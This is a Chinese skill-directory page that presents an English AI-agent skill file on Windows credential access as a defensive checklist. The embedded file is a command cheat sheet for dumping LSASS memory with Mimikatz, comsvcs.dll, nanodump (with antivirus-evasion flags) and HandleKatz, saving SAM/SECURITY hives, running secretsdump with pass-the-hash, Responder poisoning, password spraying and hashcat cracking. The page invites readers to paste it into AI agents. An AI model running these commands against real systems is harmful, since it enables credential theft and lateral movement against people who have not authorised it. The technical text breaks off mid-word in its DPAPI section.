credential-access
它能做什么
本知识库介绍 Windows 系统中登录凭据的存储位置,以及它们在网络中可能如何暴露。适用于需要保护这些来源的防御者和经授权的测试人员。
适用场景
- ✓当安全团队想检查服务器上的密码存储是否受到保护时。
- ✓当经授权的测试需要查看名称解析投毒是否会暴露凭据时。
- ✓当团队检查密码喷洒防御措施和账户锁定设置时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“能否检查我们的 Windows 服务器是否保护了存储的登录凭据,以及名称投毒或密码喷洒是否会暴露账户?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体会检查凭据存储的保护设置,核实名称解析和锁定策略,并报告需要修复的暴露点。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Credential Access Knowledge Base
Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.
Quick Reference
# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full
# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>
# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log
# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log
# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt
MITRE ATT&CK Mapping
| Technique ID | Name | Tools |
|---|---|---|
| T1003.001 | OS Credential Dumping: LSASS Memory | Mimikatz, nanodump, comsvcs.dll, HandleKatz |
| T1003.002 | OS Credential Dumping: SAM | reg save, secretsdump.py |
| T1003.004 | OS Credential Dumping: LSA Secrets | secretsdump.py, Mimikatz |
| T1557.001 | LLMNR/NBT-NS Poisoning | Responder |
| T1110.003 | Password Spraying | CrackMapExec, NetExec, DomainPasswordSpray |
| T1187 | Forced Authentication | ntlmrelayx.py, PetitPotam |
1. LSASS Memory Dumping
Mimikatz — sekurlsa Module
# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt
# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"
# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
nanodump (Stealthier LSASS Dump)
# Direct LSASS dump — avoids Mimikatz signatures
nanodump.exe --write C:\Windows\Temp\out.dmp
# Fork LSASS process first (avoids direct handle to lsass.exe)
nanodump.exe --fork --write C:\Windows\Temp\out.dmp
# Use invalid signature to bypass AV file scanning
nanodump.exe --write C:\Windows\Temp\out.dmp --invalid
# Parse dump offline with Mimikatz
mimikatz.exe "sekurlsa::minidump out.dmp" "sekurlsa::logonpasswords" "exit"
comsvcs.dll MiniDump (LOLBin)
# Get LSASS PID
$lsassPid = (Get-Process lsass).Id
# Dump using comsvcs.dll — no tool upload required
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full
# Alternative: use cmd with tasklist
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full
HandleKatz (Handle Duplication)
# Uses handle duplication to access LSASS — bypasses PPL in some configs
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp
# Parse the dump offline
pypykatz lsa minidump lsass.dmp -o handlekatz_<TARGET>.txt
2. SAM/SECURITY/SYSTEM Hive Extraction
Registry Save (Local Admin Required)
:: Save SAM, SYSTEM, and SECURITY hives
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY
:: Transfer to attack machine, then extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL -outputfile local_hashes
Remote Extraction with secretsdump.py
# With plaintext credentials
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>
# With NTLM hash (pass-the-hash)
secretsdump.py '<DOMAIN>/<USER>@<TARGET>' -hashes :<NTLM_HASH> -outputfile secretsdump_<TARGET>
# Extract only specific secret types
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc-ntlm # DC: NTLM hashes only
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -just-dc # DC: All including Kerberos keys
# Volume Shadow Copy method (avoids locked file issues)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -use-vss
3. DPAPI Secrets
SharpDPAPI — Browser & Credential Vault
# Dump all DPAPI-protected credentials for curre
常见问题
什么是 LSASS?
它是 Windows 中在内存里保存登录凭据的进程,因此需要强力保护。
什么是密码喷洒?
指用少量常见密码尝试大量账户,账户锁定策略和监控可以限制这种行为。
防御者应该怎么做?
启用凭据保护功能,限制名称投毒,并监控登录失败记录。
详情
作者的原始描述
Credential extraction and capture — LSASS dumping, SAM/SECURITY hive extraction, DPAPI decryption, NTLM relay, Responder poisoning, password spraying, hash cracking.
热度
- GitHub 星标
- 6.5k
- 排名
- #14133
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …